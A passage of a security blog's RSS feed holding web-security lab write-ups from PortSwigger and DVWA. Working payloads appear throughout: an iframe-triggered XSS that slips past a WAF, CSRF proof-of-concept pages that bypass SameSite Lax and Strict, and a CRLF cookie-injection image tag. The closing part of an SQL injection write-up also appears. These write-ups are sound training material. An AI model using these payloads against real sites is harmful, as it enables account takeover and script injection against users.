SQL errors can reveal useful information about the application’s backend.</p><h3>What I Actually Learned</h3><p>The most valuable part of this lab wasn’t obtaining the usernames and hashes.</p><p>It was learning how to <strong>reason through SQL injection</strong>.</p><p>The biggest shift was going from:</p><blockquote><em>“Which payload should I try?”</em></blockquote><p>to:</p><blockquote><em>“What does this response tell me?”</em></blockquote><p>That distinction matters.</p><p>When ORDER BY 3 failed, it wasn&#39;t simply an error.</p><p>It told me something about the query.</p><p>When database() returned dvwa, it gave me the next target.</p><p>When information_schema.tables returned users, I knew where to look next.</p><p>Every response became a piece of the puzzle.</p><h3>Final Thoughts</h3><p>This was a relatively simple DVWA lab, but it gave me a much clearer understanding of how UNION-based SQL injection works.</p><p>The complete journey was:</p><pre>Find injection<br>      ↓<br>Understand query structure<br>      ↓<br>Find database<br>      ↓<br>Enumerate tables<br>      ↓<br>Enumerate columns<br>      ↓<br>Retrieve data</pre><p>And that’s the mindset I want to carry into more difficult web security labs.</p><p><strong>Don’t memorize the payload.</strong></p><p><strong>Understand the question you’re asking the database.</strong></p><p>Once you understand that, the payload becomes much less mysterious.</p><h3>🧠 Lessons From This Lab</h3><p><strong>1. Errors can be useful clues.</strong></p><p>A database error can reveal information about the underlying query.</p><p><strong>2. Don’t guess when the database can tell you.</strong></p><p>information_schema can be extremely useful for understanding database structure in vulnerable lab environments.</p><p><strong>3. UNION SQL injection depends on query structure.</strong></p><p>The number of columns and compatible data types matter.</p><p><strong>4. Data exposure can be more serious than the initial injection suggests.</strong></p><p>A vulnerable parameter can potentially lead to exposure of sensitive database contents.</p><p><strong>5. Methodology beats memorization.</strong></p><p>The most important skill isn’t remembering:</p><pre>&#39; UNION SELECT ...</pre><p>It’s understanding <strong>why you’re using it and what information you need next.</strong></p><h3>What’s Next?</h3><p>This lab was the easy part.</p><p>The next challenge is taking the same reasoning into situations where:</p><ul><li>errors aren’t displayed,</li><li>UNION isn’t immediately possible,</li><li>responses don’t directly reveal database output,</li><li>input is filtered,</li><li>or the application behaves differently depending on the query result.</li></ul><p>That’s where SQL injection gets really interesting.</p><p>For me, the goal isn’t to collect payloads.</p><p>It’s to understand <strong>how the vulnerability works well enough that I can figure out the next move when the obvious payload doesn’t work.</strong></p><p>And that’s what I’m going to keep practicing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=009a6579e65d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS into HTML context with most tags and attributes blocked]]></title>
            <link>https://z3r0-day.medium.com/reflected-xss-into-html-context-with-most-tags-and-attributes-blocked-9c824d9f57c2?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c824d9f57c2</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 23:26:18 GMT</pubDate>
            <atom:updated>2026-07-15T14:41:21.133Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hunters,</p><p>Today, I solved another reflected XSS lab. And this one had a bouncer at the door — a WAF that blocked basically every tag and attribute I threw at it.</p><p>I walked in with &lt;script&gt;alert(1)&lt;/script&gt; like I always do.</p><p>The WAF looked at me and said: <em>“Tag is not allowed.”</em></p><p>Rude. But fair.</p><h3>The Lab</h3><p>This one is PortSwigger’s <strong>Reflected XSS into HTML context with most tags and attributes blocked</strong>.</p><p>The setup: a search feature, reflected right back into the page. Classic. Except this time, there’s a WAF sitting in front of it, filtering out all the usual suspects — &lt;script&gt;, &lt;img&gt;, &lt;svg&gt;, onerror, onload, all of it.</p><p>The goal: pop print(). Somehow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfBpkjUz8aXSSYy5YG2IMw.png" /><figcaption><em>(WAF response — “Tag is not allowed” — my first five payloads in a nutshell)</em></figcaption></figure><h3>The Guessing Phase (a.k.a. hitting a wall repeatedly)</h3><p>I tried the greatest hits first. &lt;script&gt;. &lt;img onerror=...&gt;. &lt;svg onload=...&gt;.</p><p>All rejected. Same error every time: &quot;Tag is not allowed&quot;.</p><p>At some point you have to admit defeat and stop typing random tags into a text box like you’re going to get lucky. So I opened Burp Intruder instead.</p><h3>The Fuzzing</h3><p>Instead of guessing tags one at a time like an animal, I set up a Sniper attack with the tag name as the payload position:</p><pre>GET /?search=&lt;§tag§&gt;hello HTTP/1.1</pre><p>Loaded a list of HTML tags from PortSwigger’s own XSS cheat sheet. Hit start. Went to make tea.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B27ybfOwxmm3sLtI1121JQ.png" /><figcaption><em>(The setup — tag name as the fuzz position, a full list of candidates queued up)</em></figcaption></figure><p>Came back, sorted by status code and response length, and there it was — request #20, status 200, a completely different length from all the 400s around it.</p><pre>body → 200 OK</pre><p>&lt;body&gt; got through. Everything else got the boot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YzKwZ-2z_RDEuMfq6TSRQg.png" /><figcaption><em>(One green row in a sea of red. My favorite kind of Intruder result.)</em></figcaption></figure><p>Now I needed an attribute. Same exact process, new fuzz position:</p><pre>GET /?search=&lt;body §attr§=&#39;alert(1)&#39;&gt;hello HTTP/2</pre><p>Loaded a list of event handlers this time. onclick, onload, onerror, all the classics — blocked. But a bit further down the list, one lit up green:</p><pre>onresize → 200 OK</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-iSapooXSLtoS-Orl0Y-JA.png" /><figcaption><em>(</em><em>onresize sneaking through while its neighbors got rejected at the door)</em></figcaption></figure><h3>The Realization (that made me feel very smart, then very dumb)</h3><p>&lt;body onresize=&#39;alert(1)&#39;&gt; — got reflected cleanly. I checked dev tools. Nothing fired.</p><p>I stared at the DOM inspector for a solid five minutes, absolutely convinced the WAF had somehow still eaten my payload, even though the raw response clearly showed it sitting there, untouched.</p><p>Then I resized my browser window. Out of pure frustration, not strategy.</p><p>alert(1) popped.</p><p>It was never broken. onresize just doesn&#39;t fire on page load — it fires when the body&#39;s dimensions <em>actually change</em>. And nothing in the DOM inspector tells you &quot;hey, this payload works, it&#39;s just waiting for its trigger.&quot; You only find out by triggering it.</p><p>Lesson relearned the hard way: <strong>inspecting the DOM does not fire events.</strong> Only real interaction does. I’d been treating “nothing visibly happened” as “this failed,” when actually it just meant “this is patiently waiting.”</p><h3>The Actual Problem</h3><p>Great, so I have a working payload. One small issue: my victim is not going to sit there resizing their own browser window for me. That would be a very considerate victim, and also not how phishing works.</p><p>I needed to trigger the resize <em>for</em> them, without them lifting a finger.</p><p>Enter: the iframe trick.</p><h3>The Exploit</h3><p>Load the vulnerable page inside an iframe on the exploit server, then immediately shrink the iframe the moment it finishes loading:</p><pre>&lt;iframe<br>  src=&quot;https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cbody%20onresize%3Dprint()%3E&quot;<br>  onload=&quot;this.style.width=&#39;100px&#39;&quot;&gt;<br>&lt;/iframe&gt;</pre><p>Here’s what’s actually happening:</p><ul><li>The iframe’s src loads the vulnerable search page, with my payload &lt;body onresize=print()&gt; sitting in the results.</li><li>onload fires the second the iframe content finishes loading.</li><li>Inside onload, I shrink the iframe&#39;s width to 100px.</li><li>Shrinking the iframe forces the &lt;body&gt; element <em>inside</em> it to resize.</li><li>onresize fires. print() runs. No victim interaction required.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VnDt7FtT4RPK1JtTr4KrVg.png" /><figcaption><em>(The final payload, sitting in the exploit server’s body field, waiting to ruin someone’s day)</em></figcaption></figure><p>Clicked <strong>View exploit</strong> first, just to double check. print() fired on its own, no window-dragging required.</p><p>Clicked <strong>Deliver to victim</strong>.</p><p>Lab solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ckLibrUNhSUM8D2sxJMcbA.png" /><figcaption><em>(No hands on the window. No hands on anything. Just </em><em>print() doing its job.)</em></figcaption></figure><h3>What I Learned</h3><p>A few things stuck with me from this one:</p><p><strong>Fuzz, don’t guess.</strong> Typing tags into a search box one at a time is how you burn an hour doing what Intruder does in five minutes while you make tea.</p><p><strong>A blocked combo isn’t always what you think it is.</strong> My first onresize attempt used single quotes around the JS — onresize=&#39;print(1)&#39; — and got mangled. Not because body or onresize were blocked (I&#39;d already confirmed both worked individually), but because of the quote characters themselves. Test your punctuation as its own variable, not just your tags and attributes.</p><p><strong>“Nothing happened” isn’t the same as “it failed.”</strong> Event handlers sit quietly until their event fires. The DOM inspector will never tell you a payload works — it can only show you the payload is <em>there</em>. You have to trigger the event yourself to know.</p><p><strong>When you can’t rely on the victim to act, force the trigger.</strong> onresize needing an actual resize sounds like a dead end until you remember you control an iframe, and iframes can be resized by JavaScript the instant they load. No click, no scroll, nothing required from the person on the other end.</p><h3>Closing</h3><p>This lab took longer than it should have, purely because I distrusted my own working payload for five straight minutes. Turns out the WAF wasn’t the hard part. My own assumptions were.</p><p>More labs coming. Till then — resize responsibly.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c824d9f57c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebSockets Aren’t Scary (I Learned Them So You Don’t Have To)]]></title>
            <link>https://z3r0-day.medium.com/websockets-arent-scary-i-learned-them-so-you-don-t-have-to-f2a87780fd28?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2a87780fd28</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Tue, 28 Apr 2026 10:13:19 GMT</pubDate>
            <atom:updated>2026-04-28T10:13:19.040Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, this is Nobody.<br>I’m really sorry that I’m late — my semester exams are coming up and I have to prepare for them. I’ll be a little busy during this upcoming month and won’t be able to write much. But I will try to write one story every 4 to 5 days.</p><p>Anyway, I was learning about CSRF and doing labs on it, and I came across a lab called:<br><strong>“Lab: SameSite Strict bypass via sibling domain”</strong>.</p><p>To do this lab, I realized I must understand WebSockets well. I’ve heard about WebSockets but never really knew what they are or how they work.<br>So I started understanding WebSockets and began writing notes. Here they are.</p><h3>Before WebSockets — Let’s Understand Synchronous vs Asynchronous</h3><h4>Synchronous (Blocking)</h4><p>One thing at a time. Everything waits until the current task finishes.</p><p><strong>Analogy:</strong><br>Calling customer service and staying on hold. You can’t do anything else until the call ends.</p><h4>Asynchronous (Non-Blocking)</h4><p>Start the task, do other things, handle the result when ready.</p><p><strong>Analogy:</strong><br>Sending a text message. You continue scrolling Instagram. When a reply comes, you check it whenever convenient.</p><h4>Quick Comparison Table</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*CvolkRO5sQuvQiMnEYnZ8g.png" /></figure><h3>What is a WebSocket?</h3><ul><li><strong>Bi-directional, full-duplex</strong> communication protocol</li><li>Initiated over <strong>HTTP</strong>, then upgrades the connection</li><li>Connection stays <strong>open</strong> until closed by either side</li><li>Either client or server can send data <strong>at any time</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*fADv0t3-ID_4qBK4v33b3Q.png" /></figure><p>Why WebSockets Are Asynchronous</p><p>WebSocket = Two-way radio that stays ON</p><pre>Browser ←—————→ Server (persistent connection)<br>   ↑                  ↑<br>   └── Data anytime ──┘</pre><h3>Before WebSockets (Synchronous Polling)</h3><pre>setInterval(() =&gt; {<br>    askServer(&quot;Any new messages?&quot;)  // Wastes bandwidth<br>}, 2000)</pre><h3>With WebSockets (Async Push)</h3><pre>webSocket.onmessage = (event) =&gt; {<br>    displayMessage(event.data)  // Server pushes when ready<br>}<br>// No polling. No waiting. No waste.</pre><h3>Streaming Data Examples</h3><blockquote><em>“Commonly used in modern web apps for streaming data and asynchronous traffic”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*MDWzxbNuc9j-YGkWtcPyOA.png" /></figure><p><strong>Asynchronous = Start it, forget it, handle result when ready</strong></p><blockquote><strong><em>WebSockets enable true async by keeping the connection open for bidirectional, real-time communication</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*_dZB4rzuRr37IetZCL-qJA.png" /></figure><h3>Handshake Request (Browser → Server)</h3><pre>GET /chat HTTP/1.1<br>Host: normal-website.com<br>Sec-WebSocket-Version: 13<br>Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==<br>Connection: keep-alive, Upgrade<br>Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2<br>Upgrade: websocket</pre><h3>Handshake Response (Server → Browser) — If Accepted</h3><pre>HTTP/1.1 101 Switching Protocols<br>Connection: Upgrade<br>Upgrade: websocket<br>Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=</pre><p><strong>After this handshake:</strong> Connection stays OPEN. Messages flow freely both ways.</p><h3>WebSocket Messages (After Connection)</h3><h3>Sending a Message (Client → Server)</h3><pre>ws.send(&quot;Peter Wiener&quot;);</pre><h3>Message Content</h3><ul><li>Can be <strong>any content or data format</strong></li><li>Modern apps often use <strong>JSON</strong></li></ul><h3>JSON Message Example</h3><pre>{&quot;user&quot;:&quot;Hal Pline&quot;,&quot;content&quot;:&quot;I wanted to be a Playstation growing up&quot;}</pre><h3>Key Takeaway</h3><blockquote><em>WebSocket = persistent, bidirectional channel established via HTTP upgrade.<br> Handshake uses </em><em>Upgrade: websocket and </em><em>Connection: Upgrade.<br> Messages flow anytime, often as JSON.<br> </em><strong><em>Attack surface:</em></strong><em> Handshake security + message content + origin validation + session handling.</em></blockquote><p><em>That’s all for now. Back to studying CSRF and that SameSite bypass lab. See you in the next one.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2a87780fd28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SameSite=Strict? No Problem — Bypassing It With a Client-Side Redirect]]></title>
            <link>https://z3r0-day.medium.com/samesite-strict-no-problem-bypassing-it-with-a-client-side-redirect-45dbb439addb?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/45dbb439addb</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Fri, 24 Apr 2026 06:34:23 GMT</pubDate>
            <atom:updated>2026-04-24T06:34:23.245Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone, let’s talk about another CSRF lab from PortSwigger.net.</p><p>In my last write-up, I covered a lab similar to this one, but I also explained some fundamental concepts there, so feel free to check that out first.</p><p>Anyway, let’s start this lab. First, I tried to change the email address and captured the request to analyze it. I noticed that the request doesn’t have any CSRF token — it only has session cookies with the HttpOnly flag, and the SameSite attribute is set to <strong>Strict</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gywnG6whqI0XEyh4cRnpmw.png" /></figure><p>Alright, so I knew I couldn’t use the top-level navigation trick I used in my last lab, because back then the SameSite attribute was set to <strong>Lax</strong>. This time it&#39;s different.</p><p>I changed the email address again and captured the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Ffx7PauOA57N9np787NpA.png" /></figure><p>— nothing unusual so far. Then I wanted to check if changing the request method to <strong>GET</strong> would still work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IMrzQr70I6CVB7hCIZrm9Q.png" /></figure><p>And it did.</p><p>Now I had no idea what to do next, so I checked the solution. What was my mistake? I didn’t go through the entire application before looking at the solution.</p><p>Anyway, here’s the key: there’s a comment functionality on each post. When you post a comment, something interesting happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*SMdELR9qGMhrm-JPLlC5Sg.gif" /></figure><p>As you can see, after posting the comment, the page redirects to another page for a few seconds and then back to the previous page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0XgcB49_N9qh17Bp232KQ.png" /></figure><p>it redirects to a <strong>confirmation page</strong> with a postId parameter. I tried changing it and found that I could control it.</p><p>So I tested whether I could redirect to my account page from here:</p><p>/post/comment/confirmation?postId=/my-account</p><p>It worked — but as I mentioned, after a few seconds it tries to take you back to the previous directory. Since there’s no directory like post/my-account,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*fj9FHvdkrgJndv1axQ1LrQ.png" /></figure><p>I had to use a <strong>path traversal</strong> trick:</p><p>/post/comment/confirmation?postId=../my-account</p><p>Next, I tried to change the email like this:</p><p>/post/comment/confirmation?postId=/my-account/change-email?email=pavan%40gmail.com&amp;submit=1</p><p>But I got an error — missing parameter submit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*5ZvcazyiWVD4yaNVgs9qtw.png" /></figure><p>That’s because the &amp; wasn’t encoded. So I encoded it as %26:</p><p>/post/comment/confirmation?postId=/my-account/change-email?email=pavan%40gmail.com%26submit=1</p><p>That worked perfectly.</p><p>Now it was time to write the PoC (Proof of Concept):</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;body&gt;<br>  &lt;h1&gt;Form CSRF PoC&lt;/h1&gt;<br>  &lt;form method=&quot;GET&quot; action=&quot;https://0ab300aa04ac3c1f80c817a9004000cc.web-security-academy.net/my-account/change-email&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pawned12@gmail.com&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;submit&quot; value=&quot;1&quot;&gt;<br>    &lt;input type=&quot;submit&quot; value=&quot;Submit Request&quot;&gt;<br>  &lt;/form&gt;<br>  &lt;script&gt;<br>    document.location = &quot;https://0ab300aa04ac3c1f80c817a9004000cc.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=pavan456%40gmail.com%26submit=1&quot;;<br>  &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>I delivered it to the victim, and just like that — I bypassed the SameSite=Strict restriction using a client-side redirect. The lab was solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ff5objc3lMpBpGX2LWO41A.png" /></figure><p>Alright, that’s it for today. I’ll meet you in the next write-up. Till then, good night — because I’m really tired.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45dbb439addb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Day 10: Bypassing SameSite Lax with Method Override (CSRF Lab Walkthrough)]]></title>
            <link>https://z3r0-day.medium.com/day-10-bypassing-samesite-lax-with-method-override-csrf-lab-walkthrough-aed3f70cdea8?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/aed3f70cdea8</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Thu, 23 Apr 2026 23:45:45 GMT</pubDate>
            <atom:updated>2026-04-23T23:47:15.837Z</atom:updated>
            <content:encoded><![CDATA[<p>hello everyone, this is nobody.</p><p>today i was solving another CSRF lab from PortSwigger.net. it’s not that hard but i learned something new here.</p><p>so i started the lab. same as always — logged in using the given credentials, captured the request that changes the email.</p><p>and then i found something interesting.</p><p>there is no CSRF token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*6FN8w0sXbnEO5-0sYS9NNQ.png" /></figure><p>which means it’s vulnerable. that’s for sure. but the question is… how?</p><p>for the first 15 minutes i was just staring at the request header thinking <em>“how can i exploit this?”</em> nothing came to my mind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/0*K44gsNLq2cQ6-PD7" /></figure><p>then i went to see the hint. then the solution. still confused.</p><p>but i found three words that i was completely not aware of:</p><ul><li>SameSite</li><li>top-level navigation</li><li>method spoofing</li></ul><p>so i did some research.</p><h3>What I Learned</h3><p><strong>SameSite</strong> is a browser-enforced cookie attribute that controls when cookies are sent with cross-site requests. this attribute can be set to one of three values:</p><p>ValueBehaviorStrictCookie never sent cross-siteLaxCookie sent only on GET + top-level navigationNoneCookie always sent (requires Secure flag)</p><p>by default, it is set to Lax.</p><p>the rule for Lax is: cookie is only sent when BOTH conditions are met:</p><ol><li>HTTP method is <strong>GET</strong> (or HEAD/OPTIONS/TRACE)</li><li>Request comes from <strong>top-level navigation</strong></li></ol><p>okay… now what is top-level navigation?</p><p>basically, top-level navigation changes the URL in your address bar. resources loaded by iframe, img tags, and script tags do NOT change the URL in the address bar. so none of them cause top-level navigation.</p><p>examples:</p><p><strong>Causes Top-Level NavigationDoes NOT Cause Top-Level Navigation</strong>clicking a normal link&lt;img src=&quot;...&quot;&gt;form submission&lt;iframe src=&quot;...&quot;&gt;typing URL in address barfetch() or AJAXwindow.location.href&lt;script src=&quot;...&quot;&gt;</p><p>okay. i understood the concept.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*sivOJTmiWaRPQoAz.jpg" /></figure><h3>The Problem</h3><p>i have to use a GET request because SameSite=Lax allows cookie on GET + top-level navigation.</p><p>but GET requests cannot change information. they can only read.</p><p>if i use POST, SameSite=Lax will NOT allow the cookie.</p><p>so how do i change the email with a GET request?</p><h3>The Solution: Method Override + GET</h3><p>first, i will use GET instead of POST because SameSite=Lax allows cookie on GET + top-level navigation.</p><pre>&lt;form method=&quot;GET&quot; action=&quot;victim.com/change-email&quot;&gt;</pre><p>next, i will add _method=POST parameter. the server reads this parameter and processes the GET request as a POST.</p><pre>&lt;input type=&quot;hidden&quot; name=&quot;_method&quot; value=&quot;POST&quot;&gt;</pre><p>then add the email parameter:</p><pre>&lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pwned@attacker.net&quot;&gt;</pre><p>and finally, auto-submit the form:</p><pre>&lt;script&gt;document.forms[0].submit()&lt;/script&gt;</pre><h3>The Final Payload</h3><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Form CSRF PoC&lt;/h1&gt;<br>    &lt;form action=&quot;https://0a36001a04dd8a9082c10bee00ad00dc.web-security-academy.net/my-account/change-email&quot; method=&quot;GET&quot;&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;_method&quot; value=&quot;POST&quot;&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pavan123@normal-user.net&quot;&gt;<br>        &lt;input type=&quot;submit&quot; value=&quot;Submit Request&quot;&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;document.forms[0].submit()&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>i delivered it to the victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/216/0*Ye6ZPtZ7c2opGG53" /></figure><p>lab solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vKCGA2O1fXVWCvihq9x46A.png" /></figure><h3>What Actually Happens (The Flow)</h3><pre>1. victim opens my page</pre><pre>2. browser sees form with method=&quot;GET&quot;<br>   browser thinks: &quot;this is a GET request with top-level navigation&quot;</pre><pre>3. browser checks cookie: SameSite=Lax says:<br>   &quot;GET + top-level navigation = okay, i will send the cookie&quot;</pre><pre>4. request goes to server:<br>   GET /change-email?_method=POST&amp;email=hacked<br>   (with victim&#39;s session cookie attached)</pre><pre>5. server sees _method=POST<br>   server thinks: &quot;they want POST even though it says GET&quot;</pre><pre>6. server processes as POST and changes the email</pre><pre>7. lab solved.</pre><h3>What I Learned Today</h3><p><strong>ConceptWhat It Means</strong>SameSite=LaxBlocks POST, allows GET + top-level navigationTop-level navigationChanges URL in address barMethod override_method=POST tells server to treat GET as POSTThe bypassUse GET (allowed by Lax) + override (server thinks it&#39;s POST)</p><p>neither one works alone. together they work.</p><h3>Closing</h3><p>this lab took me less time than the previous ones. not because it was easier. but because i am starting to recognize patterns.</p><p>SameSite=Lax is supposed to protect against CSRF. but it has an exception for GET requests. and method override exploits that exception.</p><p>one lab at a time.</p><p>see you tomorrow.</p><p><em>ps — if you see SameSite=Lax on a cookie, don’t assume you’re safe. test for method override.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aed3f70cdea8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Day 9: How I Bypassed Double CSRF Token Validation Using Only an IMG Tag]]></title>
            <link>https://z3r0-day.medium.com/day-9-csrf-where-the-token-is-duplicated-in-the-cookie-5b78f8288183?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b78f8288183</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Wed, 22 Apr 2026 23:21:01 GMT</pubDate>
            <atom:updated>2026-04-22T23:32:48.778Z</atom:updated>
            <content:encoded><![CDATA[<h3>Day 9: CSRF Where the Token Is Duplicated in the Cookie</h3><p>Hello hunters,</p><p>Today, I solved another CSRF lab without looking at any solutions.</p><p>Well… except for the encoding thing. But that doesn’t count, right?</p><p>Anyway.</p><p>This lab is similar to the previous one I wrote about. If you read my last story, you know the struggle. This time was different, though. This time, I actually knew what I was looking for.</p><h3>The Lab</h3><p>The application has an email change functionality. Vulnerable.</p><p>I started the lab, logged in using the given credentials, and captured the request that changes the email.</p><p>By looking at the request, I could see the application is using a <strong>double CSRF token</strong>. But here’s the interesting part — both tokens have the <em>same</em> value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*BjdmIEtzgn3_8yzVHjR-yA.png" /></figure><ul><li>One lives in the cookie.</li><li>The other lives in the request parameter.</li></ul><h3>The Testing</h3><p>First, I wanted to check if they are tied together. So I changed the last letter of the request parameter CSRF token.</p><pre>email=wiener12%40normal-user.net&amp;csrf=P6QvWNJ5cXNAhhLpstoS864RXeUtSjJ1</pre><p>(Changed the last letter.)</p><p>And… it failed. Expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*rv26HuJ0AxZS7EVYpsg9Xw.png" /></figure><p>Then I tried something else. I changed the cookie CSRF token instead — same change, just the last letter.</p><pre>Cookie: session=12HBtLELka0L1PmCglwYMRcHgyyREVWy; csrf=P6QvWNJ5cXNAhhLpstoS864RXeUtSjJ1</pre><p>Now both tokens had the same changed value. Not what the server gave me. But both matched each other.</p><p>And <strong>it worked</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*8EO-GlSP4VhQaITzEEXc_w.png" /></figure><h3>The Realization</h3><p>The server doesn’t care what the actual value is.</p><p>It just checks that the cookie CSRF token and the request parameter CSRF token are <strong>equal</strong> to each other. That’s it. No session validation. No extra checks.</p><p>Just: <em>“Are these two strings the same?”</em></p><p>Yes? Come in.</p><p>No? Go away.</p><h3>The Exploit</h3><p>I ran straight to write my PoC. Pasted it in the exploit hosting page.</p><blockquote><em>“Invalid CSRF token”</em></blockquote><p>What.</p><p>Then it hit me.</p><p>My PoC only included the request parameter token. The cookie token? Missing. Because the browser sends cookies automatically… Wait, no. The victim’s browser would send <em>their</em> cookies. Not my injected one.</p><p>I need to inject the CSRF token into the victim’s cookie section. Just like the last lab.</p><p>So I used the search parameter again. Same trick. <strong>CRLF injection</strong>.</p><pre>&lt;img src=&quot;https://0aa9000e04d34b0e804b03e20094005a.web-security-academy.net/?search=hunt%0d%0aSet-Cookie:%20csrf=P6QvWNJ5cXNAhhLpstoS864RXeUtSjJ1%3b%20SameSite=None&quot; onerror=&quot;document.forms[0].submit()&quot;&gt;</pre><p>The %0d%0a does its magic. The server thinks it’s a new header. The cookie gets injected. The form submits. Both CSRF tokens match.</p><p>Lab solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*AaYxt-JppMPN0mQ9g3__Iw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*H3xi67dLm2Jzd9ptZI-Dzg.png" /></figure><h3>What I Learned</h3><p>This lab took me less time than the last one. Not because it was easier. But because I made mistakes before. Lots of them.</p><p>And those mistakes taught me what to look for.</p><p>The vulnerability here is simple — the server only checks if two values are equal. It doesn’t check if those values are <strong>valid</strong>. So if I can make both values the same — even if they are both wrong — the server accepts it.</p><h3>Closing</h3><p>I have covered some other labs too. Will write about them in the next story.</p><p>Till then, keep making mistakes.</p><p>Because mistakes make you perfect.</p><p>Or at least… less wrong than before.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b78f8288183" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Day 7 & 8: What Took 2 Days..]]></title>
            <link>https://z3r0-day.medium.com/day-7-8-what-took-2-days-c404fe7fe8bf?source=rss-3f741998b328------2</link>
